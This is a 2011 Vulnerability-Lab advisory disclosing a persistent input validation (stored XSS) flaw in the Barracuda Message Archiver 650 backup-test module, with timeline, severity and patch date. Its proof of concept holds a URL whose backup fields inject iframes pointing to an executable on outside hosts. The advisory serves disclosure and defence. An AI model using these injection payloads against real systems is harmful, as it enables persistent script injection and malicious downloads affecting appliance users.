Barracuda Archiver 650 - Input Validation Vulnerability

Document Title:
===============
Barracuda Archiver 650 - Input Validation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=34


Release Date:
=============
2011-11-03


Vulnerability Laboratory ID (VL-ID):
====================================
34


Product & Service Introduction:
===============================
The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively 
index and preserve all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By 
leveraging standard policies and seamless access to messages, email content is fully indexed and backed up to enable 
administrators, auditors and end users quick retrieval of any email message stored in an organization’s email archive.

    * Comprehensive archiving
    * Exchange stubbing
    * Search and retrieval
    * Policy management
    * Intelligent Storage Manager
    * Roles-based interface
    * Reporting and statistics

The Barracuda Message Archiver provides everything an organization needs to comply with government regulations in an 
easy to install and administer plug-and-play hardware solution. The Barracuda Message Archiver stores and indexes all 
email for easy search and retrieval by both regular users and third-party auditors. Backed by Energize Updates, delivered 
by Barracuda Central, the Barracuda Message Archiver receives automatic updates to its extensive library of virus, policy 
definitions to enable enhanced monitoring of compliance and corporate guidelines, document file format updates needed to 
decode content within email attachments, as well as security updates for the underlying Barracuda Message Archiver platform 
to protect against any potential security vulnerabilities.

(Copy of the Vendor Homepage: http://www.barracudanetworks.com/)


Abstract Advisory Information:
==============================
Vulnerability-lab Team discovered multiple Input Validation Vulnerabilities on Barracudas - Message Archiver 650 (Appliance).


Vulnerability Disclosure Timeline:
==================================
2011-05-09:	Vendor Notification
2011-06-02:	Vendor Response/Feedback
2011-09-01:	Vendor Fix/Patch
2011-11-04:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent Input Validation vulnerability is detected on Barracudas Message Archiver 650 . Local low privileged user account can
implement/inject malicious persistent script code. When exploited by an authenticated user, the identified vulnerability 
can lead to information disclosure, access to intranet available servers, manipulated persistent content.

Vulnerable Module(s):
						[+] Configuration Backup => Backup Test


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by low privileged user accounts or remote via high user inter-action.

Manually reproduce ...
1. Login
2. Switch to the vulnerable  module of the application
3. Include your own script code. Save! 
4. Enjoy the persistent output results

Server:		archiver.barracuda.com
File:		index.cgi
Para:		?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username= ... &&backup_password=

References(URL):
http://archiver.xxx.com/cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%
22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%
22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//global-
evolution.info/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-
example.exe%20width%3D800%20height%3D800%3E&&user=guest&&password=164ddc8feaa60cb4263cd93279e2c114&&et=1261213168&&locale=en_US


Source Review:
<input type="hidden" name="popup_url" value="/cgi-mod/index.cgi?
&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%
20width%3D800%20height%3D800%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%
3E&&user=guest&&password=164ddc8feaa60cb4263cd93279e2c114&&et=1261213168&&locale=en_US"><table id="main_table" summary="Main Table" border="0" 
cellspacing="0" cellpadding="0" width="100%"><tr><td valign="top" bgcolor="#ffffff" nowrap="nowrap"><table summary="Top Row" cellspacing=0 cellpadding=0 
border=0 width=100%><tr><td align=left width=200>



Picture(s):
						../ive1.png
						../ive2.png



Solution - Fix & Patch:
=======================
2011-09-01:	Vendor Fix/Patch


Security Risk:
==============
The security risk of the discovered persistent vulnerability is estimated as medium(-).


Credits & Authors:
==================
Vulnerability Research Laboratory -  N/A  Anonymous


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=========================
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